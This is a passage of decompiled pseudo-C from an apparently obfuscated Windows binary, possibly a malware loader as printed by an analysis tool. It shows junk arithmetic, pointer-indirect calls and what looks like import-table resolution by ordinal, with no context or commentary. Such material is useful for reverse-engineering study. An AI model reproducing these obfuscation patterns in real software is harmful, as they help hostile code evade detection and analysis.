						_t575 = _t573 & 0x00000000 ^ _t435 & 0x00000000 ^  *(_t551 + 0x41c633);
						_t438 =  *(_t726 - 0x14);
						if(_t575 > _t438) {
							_t68 = _t551 + 0x41c5b3; // 0x41c5b3
							 *_t740 = _t68;
							_t70 = _t551 + 0x41c868; // 0x41c868
							 *(_t726 - 0x10) =  *(_t726 - 0x10) & 0x00000000;
							 *_t740 =  *_t740 | _t70;
							_t438 =  *((intOrPtr*)(_t551 + 0x41f064))( *(_t726 - 0x10),  *(_t726 - 0x14));
						}
						 *(_t726 - 0x10) = _t626;
						 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) & 0x00000000;
						 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) | _t626 & 0x00000000 ^ _t438;
						_t629 =  *(_t726 - 0x10);
						 *(_t726 - 0x10) = _t551;
						_t554 =  *(_t726 - 0x10);
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 | _t438 & 0x00000000 | _t551 & 0x00000000 ^  *(_t726 + 8);
						_t84 = _t554 + 0x41c812; // 0x41c812
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 + _t84;
						_t85 = _t554 + 0x41ca65; // 0x41ca65
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 | _t85;
						_t443 =  *((intOrPtr*)(_t554 + 0x41f068))(_t575, _t690);
						 *(_t726 - 0x14) = _t667;
						 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) & 0x00000000;
						 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) ^ (_t667 -  *(_t726 - 0x14) | _t443);
						_t670 =  *(_t726 - 0x14);
						 *_t94 = _t575;
						 *_t740 =  *_t740 ^ _t690;
						_push( *((intOrPtr*)(_t726 - 8)));
						_pop(_t691);
						 *((intOrPtr*)(_t726 - 8)) = _t691 +  *(_t726 - 0x10);
						_t693 = 0;
						_t98 = _t554 + 0x41d15d; // 0x41d15d
						 *_t740 =  *_t740 - _t575;
						 *_t740 = _t98;
						_t99 = _t554 + 0x41c260; // 0x41c260
						 *(_t726 - 0x10) = 0;
						 *_t740 =  *_t740 | _t99;
						_push( *((intOrPtr*)(_t554 + 0x41f068))( *(_t726 - 0x10), _t575));
						_pop( *_t103);
						_push( *(_t726 - 0x10));
						_pop( *_t105);
						_push( *((intOrPtr*)(_t670 + 0xc)));
						_pop( *_t107);
						_push( *(_t726 - 0x14));
						_pop(_t576);
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 + _t576;
						_t109 = _t554 + 0x41ca52; // 0x41ca52
						 *_t740 =  *_t740 - _t554;
						 *_t740 =  *_t740 + _t109;
						_t449 =  *((intOrPtr*)(_t554 + 0x41f060))(_t554, _t554);
						 *(_t726 - 0x14) = _t629;
						 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) & 0x00000000;
						 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) | _t629 -  *(_t726 - 0x14) ^ _t449;
						_t632 =  *(_t726 - 0x14);
						_t741 = _t740 - 0xfffffffc;
						_push(0);
						 *_t741 =  *_t741 | _t449;
						_push( *_t740);
						_pop(_t450);
						 *_t741 = _t450 +  *(_t726 + 8);
						_t120 = _t554 + 0x41c07f; // 0x41c07f
						 *_t741 = _t120;
						_t454 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
						 *_t741 =  *_t741 - _t632;
						 *_t741 =  *_t741 | _t454;
						_t123 = _t554 + 0x41d248; // 0x41d248
						 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
						 *_t741 =  *_t741 | _t123;
						_t456 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x14), _t632);
						_t581 =  *_t741;
						_t742 =  &(_t741[1]);
						 *(_t726 - 0x10) = _t554;
						_push(_t581 + _t456);
						_t557 =  *(_t726 - 0x10);
						_pop(_t457);
						_t583 = _t581 & 0x00000000 ^ _t632 -  *_t742 ^  *(_t557 + 0x41d0e6);
						_t635 = _t632;
						if(_t583 > _t457) {
							_t131 = _t557 + 0x41c07f; // 0x41c07f
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t742 =  *_t742 + _t131;
							_t135 = _t557 + 0x41d248; // 0x41d248
							 *(_t726 - 0x14) = 0;
							 *_t742 =  *_t742 | _t135;
							_t457 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x14),  *(_t726 - 0x14));
							 *(_t726 - 0x10) = _t693;
							 *((intOrPtr*)(_t557 + 0x41cd68)) = _t457;
							_t693 =  *(_t726 - 0x10);
						}
						_pop( *_t142);
						 *_t742 = _t583 & 0x00000000 ^  *(_t726 - 0x10);
						_t586 = _t693;
						_t694 = _t586 +  *(_t726 + 8);
						_t588 = 0;
						 *_t742 =  *_t742 & 0x00000000;
						 *_t742 =  *_t742 | _t588;
						_t145 = _t557 + 0x41d135; // 0x41d135
						 *_t742 = _t145;
						_t147 = _t557 + 0x41c60e; // 0x41c60e
						 *_t742 =  *_t742 & 0x00000000;
						 *_t742 =  *_t742 | _t147;
						_t460 =  *((intOrPtr*)(_t557 + 0x41f068))(_t588,  *(_t726 - 0x10), _t457);
						 *(_t726 - 0x14) = _t635;
						 *((intOrPtr*)(_t557 + 0x41c3e6)) = _t460;
						_t638 =  *(_t726 - 0x14);
						_t590 =  *_t742;
						_t743 = _t742 - 0xfffffffc;
						 *_t743 =  *_t743 - _t638;
						 *_t743 =  *_t743 ^ _t590;
						_t152 = _t557 + 0x41c220; // 0x41c220
						 *(_t726 - 0x14) = 0;
						 *_t743 =  *_t743 + _t152;
						_t462 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14), _t638);
						 *(_t726 - 0x10) = _t590;
						 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) & 0x00000000;
						 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) ^ (_t590 ^  *(_t726 - 0x10) | _t462);
						_t463 =  *((intOrPtr*)(_t557 + 0x41f054))();
						 *(_t726 - 0x14) = 0;
						 *_t743 =  *_t743 + _t463;
						_t166 = _t557 + 0x41c49b; // 0x41c49b
						 *(_t726 - 0x10) = 0;
						 *_t743 =  *_t743 + _t166;
						_t465 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
						 *(_t726 - 0x14) = _t694;
						 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) & 0x00000000;
						 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) | _t694 & 0x00000000 ^ _t465;
						_t697 =  *(_t726 - 0x14);
						_t744 = _t743 - 0xfffffffc;
						 *(_t726 - 0x10) = _t638;
						 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
						 *(_t726 - 4) =  *(_t726 - 4) ^ _t638 -  *(_t726 - 0x10) ^ _t465 & 0x00000000 ^  *_t743;
						_t641 =  *(_t726 - 0x10);
						_t183 = _t557 + 0x41c279; // 0x41c279
						 *_t744 = _t183;
						_t185 = _t557 + 0x41d1ea; // 0x41d1ea
						 *_t744 =  *_t744 - _t697;
						 *_t744 = _t185;
						_t470 =  *((intOrPtr*)(_t557 + 0x41f068))(_t697,  *(_t726 - 0x14));
						 *(_t726 - 0x14) =  *(_t726 - 0x10);
						 *(_t557 + 0x41cbc5) = 0 ^ _t470;
						_t596 =  *(_t726 - 0x14);
						do {
							L11:
							if(( *_t697 & 0x80000000) != 0) {
								_t744[1] =  *_t697;
								_t559 = _t557;
								 *_t744 =  *_t744 ^ _t697;
								 *_t744 =  *_t744 ^ _t559 + 0x0041d099;
								_t472 =  *((intOrPtr*)(_t559 + 0x41f060))(_t726);
								 *_t744 = _t596;
								 *(_t559 + 0x41c24c) = 0 ^ _t472;
								_t599 = 0;
								 *_t289 = _t697;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 + _t559 + 0x41cdd2;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 | _t559 + 0x0041c846;
								_t475 =  *((intOrPtr*)(_t559 + 0x41f068))(_t726, _t670);
								 *(_t726 - 0x10) = _t641;
								 *(_t559 + 0x41c9fe) = 0 ^ _t475;
								_t644 =  *(_t726 - 0x10);
								 *(_t726 - 0xc) =  *(_t726 - 0xc) & 0x0000ffff;
								 *_t744 =  *_t744 ^ _t644;
								 *_t744 =  *_t744 | _t559 + 0x0041c9e4;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 ^ _t559 + 0x0041c746;
								_t478 =  *((intOrPtr*)(_t559 + 0x41f068))(_t644, _t644);
								 *(_t726 - 0x14) = _t644;
								 *(_t559 + 0x41c559) =  *(_t559 + 0x41c559) & 0x00000000;
								 *(_t559 + 0x41c559) =  *(_t559 + 0x41c559) ^ (_t644 ^  *(_t726 - 0x14) | _t478);
								_t647 =  *(_t726 - 0x14);
							} else {
								_t192 = _t557 + 0x41c8e1; // 0x41c8e1
								 *_t744 =  *_t744 - _t641;
								 *_t744 =  *_t744 | _t192;
								_t512 =  *((intOrPtr*)(_t557 + 0x41f060))(_t641);
								 *(_t726 - 0x10) = 0;
								 *_t744 =  *_t744 | _t512;
								_t196 = _t557 + 0x41c6e2; // 0x41c6e2
								 *_t744 =  *_t744 - _t557;
								 *_t744 =  *_t744 | _t196;
								_t514 =  *((intOrPtr*)(_t557 + 0x41f060))(_t557,  *(_t726 - 0x10));
								_t610 = (_t596 & 0x00000000) +  *_t744;
								_t747 = _t744 - 0xfffffffc;
								 *_t747 =  *_t747 + _t670;
								_t676 = _t514;
								_t515 = _t676 + _t610;
								_t678 = 0;
								 *(_t726 - 0x10) = _t641;
								_t612 = _t610 & 0x00000000 ^ _t641 ^  *(_t726 - 0x10) ^  *(_t557 + 0x41c521);
								_t654 =  *(_t726 - 0x10);
								if(_t612 > _t515) {
									_t202 = _t557 + 0x41c8e1; // 0x41c8e1
									 *_t747 =  *_t747 & 0x00000000;
									 *_t747 =  *_t747 | _t202;
									_t203 = _t557 + 0x41c6e2; // 0x41c6e2
									 *_t747 = _t203;
									_t515 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x10), _t697);
								}
								 *(_t557 + 0x41c56c) =  *(_t557 + 0x41c56c) & 0x00000000;
								 *(_t557 + 0x41c56c) =  *(_t557 + 0x41c56c) ^ (_t726 & 0x00000000 | _t515);
								_t726 = _t726;
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 + _t697;
								_t210 = _t557 + 0x41c266; // 0x41c266
								 *_t747 = _t210;
								_push( *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10), _t515));
								_pop( *_t213);
								_push( *(_t726 - 0x10));
								_pop( *_t215);
								_t714 =  *_t697;
								_t216 = _t557 + 0x41ce1f; // 0x41ce1f
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 ^ _t216;
								_t519 =  *((intOrPtr*)(_t557 + 0x41f060))(_t714);
								 *(_t726 - 0x10) = 0;
								 *_t747 =  *_t747 ^ _t519;
								_t220 = _t557 + 0x41c0ad; // 0x41c0ad
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 | _t220;
								_t521 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x10));
								_pop( *_t225);
								_t614 = _t612 & 0x00000000 |  *(_t726 - 0x14);
								 *_t227 = _t521;
								 *(_t726 - 0x10) =  *(_t726 - 0x10) + _t614;
								_push( *(_t726 - 0x10));
								_pop(_t522);
								_t656 = _t654;
								 *(_t726 - 0x10) = _t714;
								_t616 = _t614 & 0x00000000 | _t714 & 0x00000000 ^  *(_t557 + 0x41c765);
								_t717 =  *(_t726 - 0x10);
								if(_t616 > _t522) {
									_t234 = _t557 + 0x41ce1f; // 0x41ce1f
									 *_t747 = _t234;
									_t236 = _t557 + 0x41c0ad; // 0x41c0ad
									 *_t747 =  *_t747 & 0x00000000;
									 *_t747 =  *_t747 | _t236;
									_t522 =  *((intOrPtr*)(_t557 + 0x41f064))(_t726,  *(_t726 - 0x14));
								}
								 *_t747 = _t656;
								 *(_t557 + 0x41c497) = 0 ^ _t522;
								_t659 = 0;
								 *_t747 = _t678;
								_t679 = _t717;
								_t718 = _t679 +  *(_t726 + 8);
								_t681 = 0;
								_t240 = _t557 + 0x41d159; // 0x41d159
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 ^ _t240;
								_t244 = _t557 + 0x41d213; // 0x41d213
								 *(_t726 - 0x10) = 0;
								 *_t747 =  *_t747 + _t244;
								_t525 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x10),  *(_t726 - 0x14));
								 *(_t726 - 0x14) = _t718;
								 *(_t557 + 0x41d182) =  *(_t557 + 0x41d182) & 0x00000000;
								 *(_t557 + 0x41d182) =  *(_t557 + 0x41d182) ^ (_t718 ^  *(_t726 - 0x14) | _t525);
								_t599 = _t616;
								_t255 = _t557 + 0x41c85c; // 0x41c85c
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 | _t255;
								_t256 = _t557 + 0x41c10e; // 0x41c10e
								 *_t747 = _t256;
								_t528 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x14), _t659);
								 *(_t557 + 0x41ce00) =  *(_t557 + 0x41ce00) & 0x00000000;
								 *(_t557 + 0x41ce00) =  *(_t557 + 0x41ce00) | _t659 & 0x00000000 | _t528;
								_t662 = _t659;
								_push( *(_t726 - 0x14) + 2);
								_pop( *_t263);
								_push( *(_t726 - 0x14));
								_pop( *_t265);
								_t266 = _t557 + 0x41c9a3; // 0x41c9a3
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 ^ _t266;
								_t270 = _t557 + 0x41d1fa; // 0x41d1fa
								 *_t747 = _t270;
								_t531 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x14),  *(_t726 - 0x14));
								 *_t747 = _t662;
								 *((intOrPtr*)(_t557 + 0x41d0fe)) = _t531;
								_t647 = 0;
								_t697 = 0 ^  *_t747;
								_t744 =  &(_t747[1]);
								_t274 = _t557 + 0x41d0af; // 0x41d0af
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 | _t274;
								_t275 = _t557 + 0x41ceae; // 0x41ceae
								 *_t744 = _t275;
								_t478 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x10), _t599);
								 *(_t726 - 0x10) = _t681;
								 *(_t557 + 0x41c8cd) =  *(_t557 + 0x41c8cd) & 0x00000000;
								 *(_t557 + 0x41c8cd) =  *(_t557 + 0x41c8cd) ^ _t681 -  *(_t726 - 0x10) ^ _t478;
								_t670 =  *(_t726 - 0x10);
							}
							 *(_t726 - 0x10) = _t559;
							_t562 =  *(_t726 - 0x10);
							_t312 = _t562 + 0x41cb0b; // 0x41cb0b
							 *(_t726 - 0x14) = 0;
							 *_t744 =  *_t744 | _t312;
							_t482 =  *((intOrPtr*)(_t562 + 0x41f060))( *(_t726 - 0x14));
							 *_t744 = _t482;
							_t317 = _t562 + 0x41cda5; // 0x41cda5
							 *_t744 = _t317;
							_t484 =  *((intOrPtr*)(_t562 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x10));
							_t745 = _t744 - 0xfffffffc;
							 *_t745 =  *_t745 ^ _t726;
							_t727 = _t484;
							_t485 = _t727 +  *_t744;
							_t729 = 0;
							 *(_t729 - 0x14) = _t697;
							_t602 =  *(_t562 + 0x41c96a);
							_t700 =  *(_t729 - 0x14);
							if(_t602 > _t485) {
								_t323 = _t562 + 0x41cb0b; // 0x41cb0b
								 *_t745 =  *_t745 & 0x00000000;
								 *_t745 =  *_t745 | _t323;
								_t324 = _t562 + 0x41cda5; // 0x41cda5
								 *(_t729 - 0x14) =  *(_t729 - 0x14) & 0x00000000;
								 *_t745 =  *_t745 | _t324;
								_t485 =  *((intOrPtr*)(_t562 + 0x41f064))( *(_t729 - 0x14), _t729);
							}
							 *_t329 = _t485;
							 *_t331 =  *(_t729 - 0x10);
							_t745[1] =  *(_t729 - 0xc);
							_t564 = _t562;
							_t334 = _t564 + 0x41cee2; // 0x41cee2
							 *_t745 = _t334;
							_t336 = _t564 + 0x41d33a; // 0x41d33a
							 *(_t729 - 0x14) = 0;
							 *_t745 =  *_t745 | _t336;
							_t488 =  *((intOrPtr*)(_t564 + 0x41f068))( *(_t729 - 0x14),  *(_t729 - 0x10), _t602);
							 *(_t564 + 0x41d1da) =  *(_t564 + 0x41d1da) & 0x00000000;
							 *(_t564 + 0x41d1da) =  *(_t564 + 0x41d1da) | _t700 -  *_t745 | _t488;
							_t703 = _t700;
							 *(_t729 - 0x10) = _t670;
							_t673 =  *(_t729 - 0x10);
							 *_t745 =  *_t745 - _t647;
							 *_t745 =  *_t745 ^ (_t488 & 0x00000000 | _t670 ^  *(_t729 - 0x10) |  *(_t729 - 4));
							_t348 = _t564 + 0x41d2b3; // 0x41d2b3
							 *_t745 =  *_t745 - _t647;
							 *_t745 = _t348;
							_t349 = _t564 + 0x41cb87; // 0x41cb87
							 *(_t729 - 0x10) =  *(_t729 - 0x10) & 0x00000000;
							 *_t745 =  *_t745 + _t349;
							_t493 =  *((intOrPtr*)(_t564 + 0x41f068))( *(_t729 - 0x10), _t647, _t647);
							 *(_t729 - 0x10) = _t602;
							 *(_t564 + 0x41cf9a) =  *(_t564 + 0x41cf9a) & 0x00000000;
							 *(_t564 + 0x41cf9a) =  *(_t564 + 0x41cf9a) | _t602 ^  *(_t729 - 0x10) | _t493;
							_t605 =  *(_t729 - 0x10);
							_t746 =  &(_t745[1]);
							 *(_t729 - 0x10) = 0;
							 *_t746 =  *_t746 ^  *_t745;
							_t363 = _t564 + 0x41c922; // 0x41c922
							 *(_t729 - 0x10) = 0;
							 *_t746 =  *_t746 | _t363;
							_t366 = _t564 + 0x41c97d; // 0x41c97d
							 *_t746 =  *_t746 & 0x00000000;
							 *_t746 =  *_t746 + _t366;
							_t498 =  *((intOrPtr*)(_t564 + 0x41f068))(_t605,  *(_t729 - 0x10),  *(_t729 - 0x10));
							 *(_t564 + 0x41cae1) =  *(_t564 + 0x41cae1) & 0x00000000;
							 *(_t564 + 0x41cae1) =  *(_t564 + 0x41cae1) | _t729 & 0x00000000 | _t498;
							_t726 = _t729;
							_t499 =  *((intOrPtr*)(_t564 + 0x41f050))();
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 + _t499;
							_t375 = _t564 + 0x41c197; // 0x41c197
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 | _t375;
							_t501 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x14));
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 | _t501;
							_t381 = _t564 + 0x41c46f; // 0x41c46f
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 ^ _t381;
							_t503 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x14));
							_pop( *_t385);
							_t607 = (_t605 & 0x00000000) +  *(_t726 - 0x10);
							 *_t387 = _t503;
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t607;
							_push( *(_t726 - 0x14));
							_pop(_t504);
							_t566 = _t564;
							 *(_t726 - 0x10) = _t673;
							_t596 = _t607 & 0x00000000 ^ _t673 -  *(_t726 - 0x10) ^  *(_t566 + 0x41c9d0);
							_t670 =  *(_t726 - 0x10);
							if(_t596 > _t504) {
								_t395 = _t566 + 0x41c197; // 0x41c197
								 *_t746 =  *_t746 & 0x00000000;
								 *_t746 =  *_t746 + _t395;
								_t396 = _t566 + 0x41c46f; // 0x41c46f
								 *(_t726 - 0x10) = 0;
								 *_t746 =  *_t746 ^ _t396;
								_t504 =  *((intOrPtr*)(_t566 + 0x41f064))( *(_t726 - 0x10), _t703);
								 *(_t566 + 0x41cfe1) =  *(_t566 + 0x41cfe1) & 0x00000000;
								 *(_t566 + 0x41cfe1) =  *(_t566 + 0x41cfe1) | _t726 ^  *_t746 ^ _t504;
								_t726 = _t726;
							}
							_t744 =  &(_t746[1]);
							 *_t744 =  *_t744 ^ _t726;
							 *_t744 = _t703;
							 *_t744 = _t504 & 0x00000000 |  *_t746;
							_t509 = 0;
							 *_t744 = _t647;
							 *((intOrPtr*)( *((intOrPtr*)(_t726 - 8)))) = _t509;
							_t650 = 0;
							 *_t405 = _t726;
							 *_t744 = 4;
							_t510 = _t566;
							 *_t407 = 0 ^  *(_t726 - 0x14);
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t510;
							_push( *(_t726 - 0x14));
							_pop(_t697);
							_t641 = _t650;
							 *_t412 =  *((intOrPtr*)(_t726 - 8));
							 *(_t726 - 0x10) =  *(_t726 - 0x10) + _t510;
							_push( *(_t726 - 0x10));
							_pop( *_t416);
							_t557 = _t566;
						} while ( *_t697 != 0);
						_t665 = _t670 + 0x14;
						_t686 = _t697;
						if( *_t665 != 0 ||  *(_t665 + 0x10) != 0) {
							if( *_t665 != 0) {
								goto L5;
							} else {
								_t10 = _t557 + 0x41d076; // 0x41d076
								 *(_t726 - 0x10) = 0;
								 *_t744 =  *_t744 | _t10;
								_t539 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10));
								 *(_t726 - 0x14) = _t686;
								 *(_t557 + 0x41d0ee) = 0 ^ _t539;
								_push( *(_t665 + 0x10));
								_pop( *_t18);
								_push( *(_t726 - 0x10));
								_pop(_t687);
								_t20 = _t557 + 0x41c2b0; // 0x41c2b0
								 *_t744 = _t20;
								_t541 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10));
								 *(_t557 + 0x41c1b3) =  *(_t557 + 0x41c1b3) & 0x00000000;
								 *(_t557 + 0x41c1b3) =  *(_t557 + 0x41c1b3) | _t726 ^  *_t744 | _t541;
								_t726 = _t726;
							}
							_t626 =  *_t740;
							 *_t740 =  *(_t665 + 0x10);
							_t47 = _t551 + 0x41c661; // 0x41c661
							 *_t740 =  *_t740 ^ _t726;
							 *_t740 =  *_t740 + _t47;
							_t430 =  *((intOrPtr*)(_t551 + 0x41f060))(_t622);
							 *_t740 = _t687;
							 *((intOrPtr*)(_t551 + 0x41d31e)) = _t430;
							_t690 = 0;
							 *_t50 = _t726;
							_t51 = _t551 + 0x41c5b3; // 0x41c5b3
							 *_t740 = _t51;
							_t432 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x10));
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t740 =  *_t740 ^ _t432;
							_t57 = _t551 + 0x41c868; // 0x41c868
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 ^ _t57;
							_t434 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x14));
							 *_t59 = _t665;
							_t573 = 0 ^  *(_t726 - 0x10);
							 *_t61 = _t434;
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t573;
							_push( *(_t726 - 0x14));
							_pop(_t435);
							_t667 = _t665;
							 *(_t726 - 0x14) = _t435;
							_t575 = _t573 & 0x00000000 ^ _t435 & 0x00000000 ^  *(_t551 + 0x41c633);
							_t438 =  *(_t726 - 0x14);
							if(_t575 > _t438) {
								_t68 = _t551 + 0x41c5b3; // 0x41c5b3
								 *_t740 = _t68;
								_t70 = _t551 + 0x41c868; // 0x41c868
								 *(_t726 - 0x10) =  *(_t726 - 0x10) & 0x00000000;
								 *_t740 =  *_t740 | _t70;
								_t438 =  *((intOrPtr*)(_t551 + 0x41f064))( *(_t726 - 0x10),  *(_t726 - 0x14));
							}
							 *(_t726 - 0x10) = _t626;
							 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) & 0x00000000;
							 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) | _t626 & 0x00000000 ^ _t438;
							_t629 =  *(_t726 - 0x10);
							 *(_t726 - 0x10) = _t551;
							_t554 =  *(_t726 - 0x10);
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 | _t438 & 0x00000000 | _t551 & 0x00000000 ^  *(_t726 + 8);
							_t84 = _t554 + 0x41c812; // 0x41c812
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 + _t84;
							_t85 = _t554 + 0x41ca65; // 0x41ca65
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 | _t85;
							_t443 =  *((intOrPtr*)(_t554 + 0x41f068))(_t575, _t690);
							 *(_t726 - 0x14) = _t667;
							 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) & 0x00000000;
							 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) ^ (_t667 -  *(_t726 - 0x14) | _t443);
							_t670 =  *(_t726 - 0x14);
							 *_t94 = _t575;
							 *_t740 =  *_t740 ^ _t690;
							_push( *((intOrPtr*)(_t726 - 8)));
							_pop(_t691);
							 *((intOrPtr*)(_t726 - 8)) = _t691 +  *(_t726 - 0x10);
							_t693 = 0;
							_t98 = _t554 + 0x41d15d; // 0x41d15d
							 *_t740 =  *_t740 - _t575;
							 *_t740 = _t98;
							_t99 = _t554 + 0x41c260; // 0x41c260
							 *(_t726 - 0x10) = 0;
							 *_t740 =  *_t740 | _t99;
							_push( *((intOrPtr*)(_t554 + 0x41f068))( *(_t726 - 0x10), _t575));
							_pop( *_t103);
							_push( *(_t726 - 0x10));
							_pop( *_t105);
							_push( *((intOrPtr*)(_t670 + 0xc)));
							_pop( *_t107);
							_push( *(_t726 - 0x14));
							_pop(_t576);
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 + _t576;
							_t109 = _t554 + 0x41ca52; // 0x41ca52
							 *_t740 =  *_t740 - _t554;
							 *_t740 =  *_t740 + _t109;
							_t449 =  *((intOrPtr*)(_t554 + 0x41f060))(_t554, _t554);
							 *(_t726 - 0x14) = _t629;
							 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) & 0x00000000;
							 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) | _t629 -  *(_t726 - 0x14) ^ _t449;
							_t632 =  *(_t726 - 0x14);
							_t741 = _t740 - 0xfffffffc;
							_push(0);
							 *_t741 =  *_t741 | _t449;
							_push( *_t740);
							_pop(_t450);
							 *_t741 = _t450 +  *(_t726 + 8);
							_t120 = _t554 + 0x41c07f; // 0x41c07f
							 *_t741 = _t120;
							_t454 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
							 *_t741 =  *_t741 - _t632;
							 *_t741 =  *_t741 | _t454;
							_t123 = _t554 + 0x41d248; // 0x41d248
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t741 =  *_t741 | _t123;
							_t456 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x14), _t632);
							_t581 =  *_t741;
							_t742 =  &(_t741[1]);
							 *(_t726 - 0x10) = _t554;
							_push(_t581 + _t456);
							_t557 =  *(_t726 - 0x10);
							_pop(_t457);
							_t583 = _t581 & 0x00000000 ^ _t632 -  *_t742 ^  *(_t557 + 0x41d0e6);
							_t635 = _t632;
							if(_t583 > _t457) {
								_t131 = _t557 + 0x41c07f; // 0x41c07f
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t742 =  *_t742 + _t131;
								_t135 = _t557 + 0x41d248; // 0x41d248
								 *(_t726 - 0x14) = 0;
								 *_t742 =  *_t742 | _t135;
								_t457 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x14),  *(_t726 - 0x14));
								 *(_t726 - 0x10) = _t693;
								 *((intOrPtr*)(_t557 + 0x41cd68)) = _t457;
								_t693 =  *(_t726 - 0x10);
							}
							_pop( *_t142);
							 *_t742 = _t583 & 0x00000000 ^  *(_t726 - 0x10);
							_t586 = _t693;
							_t694 = _t586 +  *(_t726 + 8);
							_t588 = 0;
							 *_t742 =  *_t742 & 0x00000000;
							 *_t742 =  *_t742 | _t588;
							_t145 = _t557 + 0x41d135; // 0x41d135
							 *_t742 = _t145;
							_t147 = _t557 + 0x41c60e; // 0x41c60e
							 *_t742 =  *_t742 & 0x00000000;
							 *_t742 =  *_t742 | _t147;
							_t460 =  *((intOrPtr*)(_t557 + 0x41f068))(_t588,  *(_t726 - 0x10), _t457);
							 *(_t726 - 0x14) = _t635;
							 *((intOrPtr*)(_t557 + 0x41c3e6)) = _t460;
							_t638 =  *(_t726 - 0x14);
							_t590 =  *_t742;
							_t743 = _t742 - 0xfffffffc;
							 *_t743 =  *_t743 - _t638;
							 *_t743 =  *_t743 ^ _t590;
							_t152 = _t557 + 0x41c220; // 0x41c220
							 *(_t726 - 0x14) = 0;
							 *_t743 =  *_t743 + _t152;
							_t462 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14), _t638);
							 *(_t726 - 0x10) = _t590;
							 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) & 0x00000000;
							 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) ^ (_t590 ^  *(_t726 - 0x10) | _t462);
							_t463 =  *((intOrPtr*)(_t557 + 0x41f054))();
							 *(_t726 - 0x14) = 0;
							 *_t743 =  *_t743 + _t463;
							_t166 = _t557 + 0x41c49b; // 0x41c49b
							 *(_t726 - 0x10) = 0;
							 *_t743 =  *_t743 + _t166;
